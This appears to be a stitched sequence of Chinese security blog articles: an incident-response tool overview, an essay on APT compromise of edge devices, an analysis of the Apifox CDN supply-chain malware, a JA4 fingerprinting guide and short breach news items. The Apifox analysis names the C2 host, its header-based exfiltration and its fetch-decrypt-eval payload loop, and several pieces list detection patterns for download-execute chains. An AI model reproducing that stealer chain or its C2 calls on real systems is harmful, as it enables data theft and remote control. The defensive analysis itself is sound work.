• 父子进程关系分析

• 40+ LOLBin 识别

• 系统文件名伪装检测（svchost.exe 是不是真的在 System32？）

2. 触发态：谁在等着被触发

不只看"正在运行"，还看"未来会运行"：

• 注册表 Run / RunOnce（6 个位置）

• Startup 文件夹

• 计划任务（深度解析：作者、触发方式、是否隐藏、运行账户、执行间隔）

• 系统服务（启动类型、ServiceDLL）

• WMI 事件订阅（EventFilter + Consumer + Binding 完整链路）

• IFEO 调试器劫持

• Winlogon Shell/Userinit 劫持

3. 历史态：谁曾经来过

即使样本已删除、进程已退出：

• Prefetch：Windows 预取文件，记录了曾经执行过什么

• 最近文件修改：72 小时内用户目录/Temp 下新建的 exe/dll/脚本

• 事件日志：4688 进程创建、4104 PowerShell 脚本块、7045 服务安装、4698 任务创建

• DLL 模块枚举：所有进程加载的 DLL

4. 事件态：系统记录了什么

从 8 个日志源提取高价值事件：

• Security（4688/4697/4698/4702/4624/4625/4648/4672）

• System（7045）

• PowerShell Operational（4104）

• TaskScheduler Operational

• WMI Activity

• Sysmon（如果有，自动检测）

5. 模块态：白加黑检测

这是实战中最高频的攻击手法之一。

核心检测逻辑：

• 签名进程 + 用户目录未签名 DLL = 白加黑（+40 分）

• EXE 同目录未签名 DLL = 经典侧加载（+35 分）

• 系统进程加载用户目录 DLL = 极高危（+50 分，直接 Critical）

• 系统 DLL 名 + 非系统路径 = 伪装（+30 分）

内置 50+ 个常见被侧加载的系统 DLL 名。

6. YARA：内容级检测

内置了一个纯 Go 实现的 YARA 引擎（不需要 GCC/CGO），支持：

• 文本字符串（nocase / wide / fullword）

• 十六进制模式（含通配符）

• 正则表达式

• 条件语法

在 YARA 页面上传规则文件，一键全量扫描，只扫可疑对象，自动跳过已签名系统文件。

7. 内存态：无文件攻击检测

对指定 PID 执行 VirtualQueryEx，枚举全部内存区域：

• RWX 内存 → 可能的 Shellcode 注入

• 私有可执行内存 → 无文件映射的代码执行

• 非映像可执行区域 → Reflective DLL / 内存加载

自动排除浏览器/JIT 引擎的正常 RWX。

8. IOC 监控：动态命中

输入威胁情报 IP/域名列表，实时监控 TCP 连接表，命中时精准归因到进程。

纯内核表读取，零网络影响。域名在加载时一次性解析为 IP，监控期间不做任何 DNS 操作。

评分模型：为什么不是简单规则匹配

单一维度的检测太容易误报。cmd.exe 本身合法，rundll32.exe 本身合法，甚至"用户目录有个 exe"也不一定恶意。

ProcIR 的评分是多层叠加的：

基础规则层

每个维度独立打分。单一维度很难超过 Medium。

强规则层（Override）

某些组合直接判定高危，不依赖基础分：

• Office 派生 PowerShell + 编码执行 → 直接 Critical

• regsvr32 远程 Scriptlet 加载 → 直接 Critical

• 系统进程加载用户目录 DLL → 直接 Critical

组合加权层（Synergy）

多个维度同时命中时额外加分：

• 命令行异常 + 外联 = +15

• 外联 + 持久化 = +20

• 事件证据 + YARA 命中 = +20

• DLL 劫持 + 外联 = +20

白特征抵消层（Anti-FP）

降低正常软件误报：

• 微软签名 + System32 路径 → 减分

• 已知厂商签名（Google/Adobe/腾讯/阿里等 20+）→ 减分

• 浏览器 Native Messaging → 减分

上下文权重

命令行命中规则的进程，总分 ×1.5。 父子链异常的进程，总分 ×1.2。

设计原则：单一维度不过高，多维度叠加才真正危险。

行为链识别：从"点"到"链"

除了单点评分，ProcIR 还能自动识别完整的攻击链：

攻击链	检测模式
宏攻击链	Word → PowerShell → 外联
浏览器利用链	Chrome → cmd → powershell
持久化执行链	文件落地 → 注册表写入 → Prefetch 执行记录
WMI 后门链	WMI Consumer → 脚本引擎 → URL
DLL 侧加载链	签名进程 → 用户目录 DLL
下载执行链	cmd /c → certutil/curl → 执行

命中行为链的分数会直接叠加到关联的执行对象上。

技术实现

纯 Go，外部依赖只有 golang.org/x/sys（Windows API 绑定）。

• 进程枚举：CreateToolhelp32Snapshot + NtQueryInformationProcess（读 PEB 拿命令行）

• 数字签名：WinVerifyTrust + GetFileVersionInfo

• 网络连接：GetExtendedTcpTable / GetExtendedUdpTable

• 持久化：注册表 API + SCM API + 计划任务 XML 解析 + WMI 查询

• 事件日志：wevtutil（支持在线和离线 .evtx）

• DLL 模块：CreateToolhelp32Snapshot(TH32CS_SNAPMODULE)

• 内存分析：VirtualQueryEx

• YARA：纯 Go 实现的规则解析器 + 模式匹配引擎

• GUI：内嵌 HTTP 服务器 + HTML/JS 单页应用（不需要 Node.js / Electron）

52 个 Go 源文件，11,700+ 行代码，编译产物 11MB。

使用场景

场景 1：常规应急

上机 → 运行 procir.exe → 点"开始扫描" → 看"执行对象"视图 → Critical 和 High 的先查 → 右键复制 SHA256 去 VT 确认

场景 2：白加黑排查

扫描 → 看"模块分析"视图 → 有没有签名进程加载了用户目录的未签名 DLL → 双击看详情

场景 3：持久化排查

扫描 → 看"触发器"视图 → 排序看高分的 → 是不是有可疑的计划任务/WMI/服务

场景 4：威胁情报碰撞

扫描 → 切到"IOC 监控" → 粘贴情报 IP 列表 → 开始监控 → 看有没有进程在连这些 IP

场景 5：可疑进程深挖

进程视图发现一个高分进程 → 切到"内存分析"输入 PID → 看有没有 RWX 内存 → 切到 YARA 上传规则扫一下

最后

工具地址：https://github.com/dogadmin/ProcIR

单文件，11MB，管理员运行，扫完即走。

不是杀软，不做查杀，只帮你更快找到该看的东西。

如果对你有帮助，给个 Star。有问题欢迎提 Issue。

跳转微信打开

2024年到2025年，安全行业发生了一件很讽刺的事：安全设备本身成了最大的攻击入口。

Ivanti Connect Secure VPN网关，从2023年底开始被中国关联APT组织UNC5221利用零日漏洞大规模渗透，波及台湾、日本、韩国等地的制造业、政府、金融、半导体等关键行业。CISA直接下令——48小时内，所有联邦机构必须断开Ivanti产品。

Cisco ASA防火墙，2024年4月被曝ArcaneDoor攻击活动，攻击者用两个零日漏洞拿下了防火墙的控制权。到2025年9月，CISA又发紧急指令，因为发现APT至少从2024年起就能修改ASA的ROM固件。

Fortinet FortiManager，2024年底被曝CVE-2024-47575，缺失身份验证直接导致系统完全失陷。

Palo Alto PAN-OS，2024年底CVE-2024-0012身份验证不当加CVE-2024-9474命令注入，组合利用可直接拿下管理面。

这个名单还可以继续拉长。Citrix NetScaler、Barracuda邮件安全网关、守内安SPAM SQR……过去两年里，几乎所有主流边界安全设备厂商都被打穿过。

奇安信威胁情报中心2024年中报告里有一句话总结得很到位：往年零日漏洞主要集中在微软、谷歌、苹果三家，2024年这个格局被打破了，空缺部分被网络边界设备自身漏洞填补。

说白了就是：你花大价钱买来保护自己的设备，现在成了攻击者进来的门。

而且这不是偶发的漏洞利用。从已经披露的案例来看，国家级APT组织正在系统性地研究和囤积边界设备的零日漏洞，把VPN网关、防火墙、邮件安全网关当作首选突破口。原因也不复杂——这些设备常年暴露在互联网上，运行专有操作系统，没有EDR覆盖，大部分甲方的安全团队对它们的内部运行状态几乎没有可见性。打进去之后还特别好藏，因为没人查。

然而面对这波针对安全设备本身的攻击潮，国内安全行业的反应是什么？

几乎没有。

厂商发了补丁通告，甲方打了补丁（也许），然后继续照旧。没有人追问一个更根本的问题：补丁打完了，你怎么确认设备没被动过手脚？固件是干净的吗？配置还是你自己配的吗？有没有人在设备里留了后门？

不只是漏洞的问题

很多人把上面这些事件理解为"安全设备也有漏洞，打补丁就好了"。这个理解太浅了。

看看Salt Typhoon干了什么。2025年8月NSA和CISA的联合公告披露，这个APT组织从2021年开始渗透全球电信运营商的骨干路由器——不是利用完就走，是住进去了。在路由器里驻留了四年。

他们在设备上做的事包括：通过SNMP和SSH操控路由器命令行；读取和修改路由配置；配置端口镜像抓取所有过境流量；建GRE和IPsec隧道把数据外传；用Cisco Guest Shell容器藏工具。做完之后清日志、改回配置，像没来过一样。

APT28（俄罗斯GRU）也是类似的套路。2023年CISA和英国NCSC联合披露，APT28用SNMP漏洞在Cisco路由器上部署了Jaguar Tooth恶意软件——一个专门为路由器写的后门。

ArcaneDoor更进一步——攻击者直接修改了Cisco ASA的ROM。这意味着即使你重装系统、恢复出厂设置，后门依然在。

这些攻击的共同特征是：攻击者不是利用完漏洞就走，而是在设备固件和配置层建立持久的、难以检测的驻留。 打补丁解决的是入口问题，不解决"人家已经进来了还没走"的问题。

而大部分甲方在设备被曝漏洞后的应急动作是：打补丁，完事。有几家做了固件校验？有几家dump了内存做取证分析？有几家检查了设备上有没有多出来的SPAN配置、隧道、用户账号？

你的安全监控体系有一个洞

把话说得更直接一点。

你的终端全覆盖了EDR。你的服务器装了HIDS。你的应用前面挂了WAF。你的日志都接进了SIEM。感觉挺完整的对吧？

但你的出口防火墙上没有EDR。你的VPN网关上没有EDR。你的核心路由器上没有EDR。你的邮件安全网关上没有EDR。你的负载均衡上没有EDR。

这些设备跑的是Cisco IOS、FortiOS、PAN-OS、华为VRP、H3C Comware——专有系统，不支持装第三方安全代理。你的整个安全监控体系，对这些设备的内部状态基本是瞎的。

更要命的是职责归属。网络设备归网络组管，安全团队不碰。网络组关心可用性和性能，安全不是他们的KPI。安全团队关心终端和应用，网络设备不在视野里。两边各看各的，中间这一层——谁也不管。

CISA在网络基础设施安全指南里说了一句很扎心的话：网络设备在安全事件的调查和恢复中经常被忽视。

"经常被忽视"。用来描述一个承载全公司所有流量、而且正在被APT系统性攻击的关键基础设施。

几个不得不面对的问题

你知道自己有多少网络设备吗？

别笑。

总部的核心设备，大概率有人管。但分支机构呢？远程站点呢？仓库、工厂、营业网点呢？很多组织的分支节点上跑着各种消费级路由器和小型防火墙，型号五花八门，固件版本不明，有的厂商早就EOL了还在跑。这些设备不在资产管理系统里，不在漏洞扫描范围内，更不在安全监控视野中。

而这些"边缘设备"恰恰是APT最喜欢的入口。Volt Typhoon长期利用Cisco和Netgear的小型路由器建立C2通道。2025年初曝光的PolarEdge僵尸网络，专门针对Cisco小型企业路由器、ASUS路由器、QNAP NAS这类设备。2025年曝光的Operation WrtHug，把全球数万台ASUS老旧路由器变成了恶意代理网络。

你不知道的设备，就是你防不住的设备。

你的设备固件是干净的吗？

这个问题大部分甲方从来没问过自己。

设备固件——就是设备上跑的操作系统——有没有跟厂商发布的原版一致？有没有被篡改？有没有被植入后门？

Cisco其实提供了一整套完整性验证工具：verify /md5做固件哈希校验，show software authenticity验数字签名，还能导出运行时内存的text段跟已知良好基线做比对。Cisco的取证指南里写得很清楚——如果你怀疑设备被入侵，第一件事不是重启，是在不改变设备状态的情况下收集证据。 重启会导致所有易失性信息不可恢复地丢失。

这些东西在Cisco官网公开了很多年。但在多少甲方的应急预案里写了"网络设备取证流程"？在多少安全团队的日常运营里有"定期固件校验"这个动作？

2025年9月CISA发紧急指令，要求联邦机构把所有Cisco ASA的内存dump提交取证的时候，很多做安全的人是懵的——原来网络设备取证是这么做的？原来ROM是可以被改的？原来需要dump内存？

不是技术做不到，是从来没想过要做。

你的设备配置还是你配的吗？

Salt Typhoon在路由器上做的很多操作，用设备正常的管理功能就能完成——加一条SPAN镜像规则，加一条静态路由，建一个GRE隧道，加一个SNMP用户。不需要漏洞利用，只要拿到管理权限就行。而很多设备的SNMP community string至今还是默认的"public"和"private"。

所以另一个必须回答的问题是：你的设备当前的运行配置，跟你定义的安全基线一致吗？有没有你不认识的配置项？

几个该重点关注的东西：

• 有没有你不认识的SPAN/RSPAN/ERSPAN端口镜像配置

• 有没有你不认识的GRE/IPsec/VXLAN隧道

• 有没有你不认识的静态路由

• 有没有你不认识的SNMP community string或用户

• 有没有你不认识的本地账号

• 日志配置有没有被改过——syslog目标地址变了没有、日志级别降了没有

• AAA认证配置有没有被动过

这些配置项如果出现了变化而你不知道，要么是运维的变更管理没做好，要么就是有人在你的设备上做了他想做的事。

你的设备日志接到安全平台了吗？

最后一个问题。你的SIEM里收了终端日志、服务器日志、应用日志，但你的网络设备的syslog和TACACS+日志呢？

很多甲方的网络设备日志要么没开，要么只存在设备本地buffer里（满了就覆盖），要么发到了网络组的NMS上但安全团队看不到。而攻击者在设备上做的第一件事往往就是关日志或者改日志配置——Salt Typhoon的标准操作流程里就包括这一步。

如果设备日志不在安全团队的视野里，那发生在设备上的任何异常行为——非工作时间的CLI登录、来自未授权IP的管理访问、异常的配置变更、隧道创建——安全团队都不会知道。

一个行业性的缺位

上面这些问题，从技术上没有一个是解决不了的。固件校验、配置审计、日志采集、变更检测——工具和方法都是现成的。

但现实是大部分甲方没在做。原因也很直白：

认知问题。 安全从业者的知识体系里，网络设备这块是严重欠缺的。大部分安全工程师没登录过路由器命令行，不清楚IOS的文件系统结构，不知道怎么做固件校验。整个行业的培训、认证、知识输出都集中在终端和应用层，网络设备安全的资料极少。

工具问题。 国际上Eclypsium在做网络设备固件安全，但国内几乎没见过采购案例。国内安全厂商的产品线里——NDR看流量、EDR看终端、漏扫扫端口——没有一个产品是设计来回答"你的防火墙固件有没有被人改过"这个问题的。

意愿问题。 没出过事。在大部分甲方的安全事件记录里，还没有"核心防火墙被植入后门"这种case。没出过事就没有动力投入。但Salt Typhoon在路由器里住了四年才被发现——你确定你的设备没问题，还是只是没发现？

这中间存在一个巨大的空白——不管是安全产品、安全服务还是安全研究，"甲方网络设备和安全设备自身的安全检测"这个方向几乎没有人在认真做。

做Web安全的人成千上万，研究终端恶意软件的也不少，但你去找一篇"甲方如何检测自己的防火墙有没有被APT植入后门"的深度技术文章——中文互联网上几乎找不到。

这本身就说明了问题。

所以？

2024到2025年，APT组织用实际行动完成了一次攻击范式的转移：从打应用、打终端，到打基础设施设备本身。VPN网关、防火墙、路由器、邮件安全网关——这些你花钱买来保护自己的东西，现在是攻击者最喜欢打的目标。

而安全行业的响应，还停留在"发CVE、打补丁、发通告"的循环里。

没有人在帮甲方回答那个最核心的问题：打完补丁之后，我怎么知道设备是干净的？

这个问题值得有人去认真回答。

参考来源：CISA Emergency Directive ED 25-03 (2025.9)；CISA/NSA联合公告AA25-239a (2025.8)；CISA Advisory AA23-108 APT28 Jaguar Tooth (2023)；Cisco IOS/IOS-XE Software Integrity Assurance；Cisco IOS Forensic Data Collection Procedures；奇安信《网络威胁2024年中报告》；安全内参《2024年全球零日漏洞利用七大趋势》；NIST SP 800-189r1 (2025)；多国联合 "Mitigation Strategies for Edge Devices" (2025.2)

跳转微信打开

🧩 一、事件背景

通过外部威胁情报发现恶意域名：

apifox.it.com

结合大网 DNS 数据分析：

• 异常流量主要爆发时间：2026-03-03 之后

• 判断为：供应链投毒行为触发后开始扩散

🧨 二、投毒入口分析

攻击源头来自 Apifox 官方 CDN 资源被篡改：

📍 正常资源

https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js
MD5: a709773362581f4db2f2328e05214e2f

☠️ 恶意版本（Web Archive 还原）

https://web.archive.org/web/20260305051418/https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js
MD5: 1a68b09956e47c5617f87dc71c895131

🧠 三、恶意 JS 行为拆解

整个 JS 分为两层：

1️⃣ 伪装层（正常代码）

• 文件名：apifox-app-event-tracking.min.js

• 内容：

• Google Analytics

• 百度统计

• PostHog

👉 完全正常，用于掩护

2️⃣ 恶意层（混淆代码 _0x10e4）

核心行为如下 👇

🖥️ 四、攻击链详细分析

🧬 1. 采集机器指纹

通过 Node.js API：

require('os')

获取信息：

• MAC 地址

• CPU 型号

• 主机名

• 系统用户名

• 操作系统信息

然后：

拼接 → SHA256 → 设备唯一ID

存储：

localStorage._rl_mc

🔐 2. RSA 加密敏感信息

加密内容：

• 系统用户名 → af_user

• 主机名 → af_name

👉 使用 内嵌 RSA 私钥

🕵️ 3. 窃取 Apifox 用户数据

读取：

localStorage.common.accessToken

调用接口：

https://api.apifox.com/api/v1/user

获取：

• 用户邮箱

• 用户昵称

加密后存储：

af_apifox_user
af_apifox_name

🌐 4. 向 C2 发送数据

目标 C2：

https://apifox.it.com

请求头携带：

af_uuid
af_os
af_user
af_name
af_apifox_user
af_apifox_name

👉 所有数据通过 HTTP Header 外带

📦 5. 下载加密 Payload

GET /public/apifox-event.js

完整地址：

https://apifox.it.com/public/apifox-event.js

💣 6. 解密 + 执行

流程：

response.text()
→ RSA 分块解密（privateDecrypt）
→ eval()

👉 关键点：

攻击者可以下发任意 JS 并执行（完全远控能力）

🔁 7. 持久化执行机制

• 随机间隔执行

• 时间范围：

几分钟 ~ 几十分钟

循环：

loadAndExecute()

👉 持久化 + 隐蔽通信

🔑 五、内嵌 RSA 私钥（关键证据）

-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOPeHTeyrblELD
...
923MJszhbIUdp9MrG0WoHFKcWsK1HPFW7rGjV82Fu3No+rLjlo=
-----END PRIVATE KEY-----

⚠️ 说明：

• 客户端内置私钥极其异常

• 用于解密 C2 Payload

• 意味着攻击者控制完整通信链路

🎯 六、攻击本质总结

这是一个典型的 供应链后门 + Electron 本地信息窃取 + 远程控制框架

攻击流程：

CDN JS 投毒
    ↓
客户端加载恶意代码
    ↓
采集系统信息 + 用户信息
    ↓
发送至 C2（apifox.it.com）
    ↓
获取加密 Payload
    ↓
解密 + eval 执行
    ↓
循环执行（持久控制）

跳转微信打开

鹈鹕、Three.js 与 Rebecca，评测 LLM 能力的标尺。

跳转微信打开

while :; do cat PROMPT.md | claude-code ; done

阅读原文

跳转微信打开

阅读原文

跳转微信打开

2025年，Anthropic 将 MCP 塑造成事实标准，引领 agent 开发的潮流。

阅读原文

跳转微信打开

1 背景介绍

JA4+ 指纹套件是由网络安全公司 FoxIO 提出的新一代网络指纹(network fingerprinting)技术，专注于识别TLS/HTTP/QUIC 等协议中客户端的唯一特征。与传统的JA3 相比，JA4通过结构化字段设计、抗随机化算法以及多协议支持，实现了更精准的客户端识别能力，同时保持对用户隐私的保护。

1.1 网络指纹技术的发展历程

2017 年，Salesforce 的三位研究人员 John Althouse、Jeff Atkinson 和 Josh Atkins 发布了一种名为 JA3 的 TLS 指纹识别被动方法。JA3 用于对 TLS 客户端进行指纹识别，而 JA3S 是服务器的对应物。发现此方法不仅可用于识别恶意软件客户端和服务器，还可用于识别 Web API 客户端和浏览器。

然而，在2023年，谷歌对基于 Chromium 的浏览器实施了一项更改，对 TLS 扩展的顺序进行随机化。由于 JA3 的计算依赖 TLS 扩展的顺序，浏览器的扩展顺序随机化使得 JA3 不再那么有效。为了应对这些挑战，在 2023年9月，FoxIO 推出 JA4，这是 JA3 的继任者，它提供了一种更强大、适应性更强、更可靠的方法，用于跨各种协议（包括QUIC 等新兴标准）对TLS 客户端进行指纹识别。

JA4 指纹可以抵抗 TLS 扩展的随机化，并包含其他有用的 JA3 并未涉及的维度，例如应用层协议协商 （ALPN）。JA4 的推出在网络安全社区受到了积极欢迎，包括 Cloudflare 在内的一些开源工具和商业产品开始将其整合到他们的系统中。JA4指纹在BSD 3-Clause 许可下提供，促进了从JA3 的无缝升级。JA4+ 套件中的其他指纹，例如JA4S 和JA4H 则需要进行商业化授权。

总结而言，JA4 相比 JA3 的核心创新主要在以下方面：

指纹的分段结构化，增加分析灵活性。

增加 ALPN 协议协商字段

支持 QUIC/HTTP3 等新协议

引入人类可读的标识符（如 t13d1516h2）

1.2 TLS 指纹的常见应用场景

TLS 指纹可以在多种网络流量分析场景下使用，以下是一些最常见的使用案例：

1.
爬虫检测：TLS 指纹识别通常用于检测和缓解爬虫程序流量。通过识别与已知机器人或恶意客户端关联的唯一指纹，组织可以阻止或质询可疑连接。这对于防止撞库、抓取或其他试图模仿合法用户流量的自动攻击特别有用。

2.
DDoS缓解：在分布式拒绝服务
（DDoS）
攻击期间，TLS指纹识别可以帮助识别恶意流量模式。攻击者经常使用具有特定、可识别指纹的客户端来压垮目标服务器。通过识别和阻止这些指纹，组织可以减少其服务器上的负载并保持服务可用性。

3.
威胁行为者的检测与分类：许多恶意软件家族使用独特的 TLS 配置进行 C2 通信（比如常用的 Cobalt Strike 和 Metasploit C2），如果其指纹被编入目录，就可以第一时间进行标记。

2 技术原理

2.1 JA4 指纹结构解析

https://github.com/FoxIO-LLC/JA4/blob/main/technical_details/JA4.png

以典型 Chrome 浏览器的 JA4 指纹 t13d1516h2_8daaf6152771_02713d6af862 (TCP) 为例：

字段详细说明：

协议标识符 (t): 表示当前使用的是 TLS over TCP 协议。如果是 QUIC 协议，则会显示为 q。

TLS版本 (13):表示客户端支持的最高TLS 版本为TLS 1.3。

SNI标识 (d):表示客户端在TLS 握手时提供了Server Name Indication (SNI) 信息，即指定了访问的域名。

密码套件数量 (15): 表示客户端在 ClientHello 消息中提供了 15 个有效的密码套件（排除 GREASE 值）。

扩展数量 (16): 表示客户端在 ClientHello 消息中提供了 16 个有效的扩展（排除 GREASE 值）。

ALPN协议 (h2):表示客户端通过Application-Layer Protocol Negotiation (ALPN) 协商选择了 HTTP/2 协议。

密码套件哈希 (8daaf6152771): 对客户端提供的密码套件列表进行排序后，计算其 SHA256 哈希值并取前 6 字节作为唯一标识。

扩展哈希 (02713d6af862): 对客户端提供的扩展列表和签名算法列表进行排序后，计算其 SHA256 哈希值并取前 6 字节作为唯一标识。

这种结构化设计使得 JA4 既保持了机器处理的效率（哈希值快速匹配），又具备人工分析的可读性（字段显式表达关键特征）。

此外，在网络流量分析过程中，实际上分析师可以自由组合 JA4_a JA4_b JA4_c 这些子模块进行分析。比如，GreyNoise 是一个互联网侦听器，用于识别互联网中的扫描器，并将 JA4+ 指纹应用到他们的产品中。他们发现了一个威胁行为者，他使用不断变化的单个TLS 密码套件(cipher) 扫描互联网。这会生成大量完全不同的JA3 指纹，但对于JA4，只有JA4 指纹的 b部分发生变化，a 部分和 c部分保持不变。因此，GreyNoise 可以通过查看 JA4_ac 指纹（拼接 a+c，丢弃 b）来追踪这个狡猾的威胁行为者。

3 观测 JA4 指纹

3.1 方式一：基于 Wireshark

使用过滤器 tls.handshake 过滤 TLS 握手流量观察即可。高版本 Wireshark 原生支持 JA3/JA4 指纹，低版本 Wireshark 可以考虑安装插件。

https://github.com/fullylegit/ja3

https://github.com/FoxIO-LLC/JA4/tree/main/wireshark

3.2 方式二：基于现有网站工具

https://tls.browserleaks.com/json

https://ja4db.com/

4 指纹落地应用

4.1 监测渗透测试人员的一个思路

处于合规考虑，这里省略如何在负载设备加载插件或者使用 nginx 等插件去把 JA4 的指纹头插入 http header 报文中。在生产环境中应用JA4 指纹仍然需要考虑诸多实际的问题，尤其是指纹计算的性能开销。根据Cloudflare 的一篇博客，他们重新用rust 实现了ClientHello 解析器，其基准测试结果表明，解析器可以有效地处理不同大小的ClientHello 消息，较短的消息以每秒约200 万个元素的速度处理，较长的消息以每秒约100 万个元素的速度处理,这大概意味着启用 JA4 指纹后每个 TLS 握手请求会额外增加 1-2 微秒（μs）量级的开销。

这里展示最后实现的效果，如图下所示：

在 header 中增加 X-JA4 字段后，那么在我们基础安全眼里这个可操作性就会多了很多。可以在WAF侧、流量侧去匹配相关特征。我们收集了部分 burp suite 的JA4 指纹样本做了部分分析

同样的 yakit 最新版，在未开启随机TLS的状态下他的JA4_b段的值默认为：
6987dae9cdc4

这样我们就得出一部分burp和yakit的 JA4_b 特征值：

burp

bc01e4e2260a 

bd868743f55c 

5e02f30799ee

yakit：

6987dae9cdc4

将该系列值插入到 WAF 和 流量设备中纳入到监测之后，那么，在往后的日子里，我可以选择是否开启封禁去阻断默认值的访问，同时CDN侧也可以基于JA3/JA4 特征去把相关风险特征去做拦截，这里不一一赘述。

4.2 集体智能视角下的 JA4

根据前文的描述，有经验的工程师不难想到：JA4 这类指纹在爬虫检测（bot detection）视角看，其计算机制难以区分 Headless Chrome 与普通浏览器用户，作用相对平庸，或许只能作为一个低权重的观测因子；在威胁行为者检测（threat actor detection） 视角看，价值相对更大一些。但近年来，黑客工具的厂商也在TLS 层指纹进行持续对抗，比如Yakit 引入了"随机TLS 指纹"功能， Burp Suite 也通过其丰富的插件生态尝试规避 TLS 指纹的检测，单纯的基于 JA4 指纹黑白名单数据库的检测未来或许只能发现低阶威胁行为者。

我们该如何进一步挖掘 JA4 指纹的价值？这里 Cloudflare 提供了一个非常有趣的思路。

单一的 JA4 指纹数据价值受限，海量 JA4 指纹的数据集合则能涌现出新的集体智能，这就是 Cloudflare 提供的 JA4 信号 (JA4 signals)功能，是根据 Cloudflare 在全球范围内看到的所有流量的最后一小时计算的跨请求特征。

根据 W3Techs 的数据，79.9%
使用CDN 或反向代理的网站都依赖 Cloudflare 的服务。由于在互联网基础设施的独特视角，Cloudflare 每天都会分析从 5 亿多个用户代理（User-Agent）和数十亿个 IP 地址生成的超过 1500 万个唯一 JA4 指纹。这种数据广度使 JA4 Signals 能够提供汇总统计数据，从而更深入地了解全球流量模式，远远超出了单一请求或连接指纹识别所能达到的效果。

这些具备全球流量视角的特征信息，既可以用于简单的防火墙规则，也可以作为高级机器学习模型的输入，实现更加智能的启发式拦截策略。

以下是一些常见的 JA4 信号(JA4 signals):

5 结论

JA4 指纹技术通过模块化设计和抗随机化策略，有效缓解传统TLS指纹易被绕过的难题。在企业安全建设实践中，需重点构建动态指纹库、实现多维度关联分析，并与WAF、IDS等安全组件形成协同防御。随着QUIC协议普及率提升，支持多协议识别的JA4+技术套件将成为企业网络安全架构的核心组件。建议安全团队持续跟踪官方指纹数据库更新，同时结合威胁情报进行检测策略优化，以应对不断演变的网络威胁。

此处感谢黑屋达！编辑了本文99%的内容！

附录

JA4 指纹库

https://JA4db.com/

JA4

https://github.com/FoxIO-LLC/JA4

JA3

https://github.com/salesforce/ja3

JA4 指纹测试

https://tls.browserleaks.com/json

JA4+ Network Fingerprinting

https://blog.foxio.io/JA4%2B-network-fingerprinting

Advancing Threat Intelligence: JA4 fingerprints and inter-request signals

https://blog.cloudflare.com/JA4-signals/

What is TLS Fingerprinting?| Fastly

https://www.fastly.com/blog/the-state-of-tls-fingerprinting-whats-working-what-isnt-and-whats-next

JA4 信号

https://developers.cloudflare.com/bots/concepts/signals-intelligence/

JA4 与 akamai_hash 的区别

https://www.perplexity.ai/search/what-are-the-differences-betwe-bdwy5ogiTveT5LVClZxgxA

How New Headless Chrome & the CDP Signal Are Impacting Bot Detection

https://datadome.co/threat-research/how-new-headless-chrome-the-cdp-signal-are-impacting-bot-detection/

New headless Chrome has been released and has a near-perfect browser fingerprint

https://antoinevastel.com/bot%20detection/2023/02/19/new-headless-chrome.html

Cloudflare Market Share

Cloudflare 市场占有率

https://kinsta.com/cloudflare-market-share/

https://github.com/PortSwigger/bypass-bot-detection

https://www.perplexity.ai/search/mu-biao-qing-yi-mozilla-mdn-we-WNlf5yHlRdyZA6c.mUnE3A

获取JA3指纹

https://mp.weixin.qq.com/s/ytjNcpI2AN7AezGR2K8ahg

https://github.com/microsoft/OmniParser/tree/master

阅读原文

跳转微信打开

The art of deception.

2023年7月22日，全球最大的加密支付提供商之一 - Coinspaid 遭遇了黑客攻击，损失了3730万美元。Coinspaid 与网络安全公司 Match Systems 合作，在2023年8月发布了他们的调查报告。最近因为"吴说"的转载，让这份报告再次流行起来。

简而言之，调查结果显示攻击有很大可能源于 DPRK 背景的 Lazarus 组织。Lazarus 花费了大约半年去寻找合适的 "立足点"。令人大跌眼镜的是，攻击团队利用的手段，并没有 bling bling 的 zero day，而是更为传统的社交工程。

Lazarus 在攻击初期尝试了 BruteForce，并没有奏效。立足点的建立的关键步骤来源于对资深关键研发人员的虚假招聘，或许很难有人能够经受住竞对公司提供的数倍于当前薪酬方案的 offer。之后，理所当然，攻击者在面试过程中以完成面试任务的方式诱导候选人安装携带木马的（看似合法的）软件实现进入 Coinspaid 的内网。甚至，他们为此提前攻击了软件供应链上游的一家云服务厂商 JumpCloud。突破网络边界后就没有什么额外的对抗了，Lazarus 简单调研后利用了一些集群管理系统的漏洞扩展了对基础设施的控制范围，最终实现从热钱包自动化提取资金，直到提取的资金达到触发告警...

小黑屋的 note：

1 或许是因为潜在的高额回报， 令人觉得 crypto 行业组织的攻防对抗强度似乎比传统IT行业的组织强度高不少。更具体的证明是，传统互联网公司，近几年公开的安全事件，比如 2021年的 Twitter celebrity bitcoin scam 和 2022 年的 Uber hack ，其主犯主要是十几岁的青少年，较少有来自高度组织化的团队。不过或许这里也有一些幸存者偏差，毕竟类似 Operation Aurora 的事件，可能因为更加隐蔽和更难追踪以及其他基于市值管理因素的考量而没有机会暴露给公众媒体。

2 另一方面，这个报告再次证明，人还是组织中最脆弱的因素，即使进行了充分的安全意识培训，组织整体的安全意识水位也会随着人员流动而逐渐劣化。作为防御方，或许合理的安全假设应该是网络边界一定会被突破，重要的是对边界突破事件的感知能力和对横向移动（lateral movement）关键操作的阻断速度，而不能寄希望于有一个团队能够通过若干次渗透测试和扫描穷尽组织各个网络服务的所有漏洞。

参考资料

https://www.wublock123.com/index.php?m=content&c=index&a=show&catid=47&id=28347

https://web.archive.org/web/20240614004241/https://coinspaid.com/tpost/k4r6jt90p1-the-coinspaid-hack-explained

https://www.theverge.com/2022/9/16/23356213/uber-hack-teen-slack-google-cloud-credentials-powershell

https://www.bbc.com/news/technology-56429204

https://www.imdb.com/title/tt22742294/

阅读原文

跳转微信打开

上周，HIBP 创始人Troy Hunt发布博客，揭示收到匿名研究员提供的1.51亿新泄露邮件数据，来自518个小飞机频道，主要由信息窃取恶意软件捕获。

上周，Have I Been Pwned (HIBP) 创始人 Troy Hunt 发布了一篇博客，介绍他收到一位匿名研究人员的邮件，邮件中包含一组全新的数据集。这些数据集通常被称为"combolist"，包含电子邮件地址或用户名和密码的组合，用于撞库攻击以获得对帐户的未授权访问。该数据集由 1,748 个文件和 20 亿行组成，公开了 1.51 亿个以前未在服务中列出的电子邮件地址，数据来自 518 个不同的小飞机频道，大小差异很大，有些文件包含数千万行。其最大的文件似乎是信息窃取恶意软件（Info stealers）的结果，这些 Zeus-like 的恶意软件在受感染的机器上大规模捕获密码。Hunt 通过邮件联系 HIBP 订阅者确认被盗密码是否正确，验证了这批 combolists 泄露准确性。

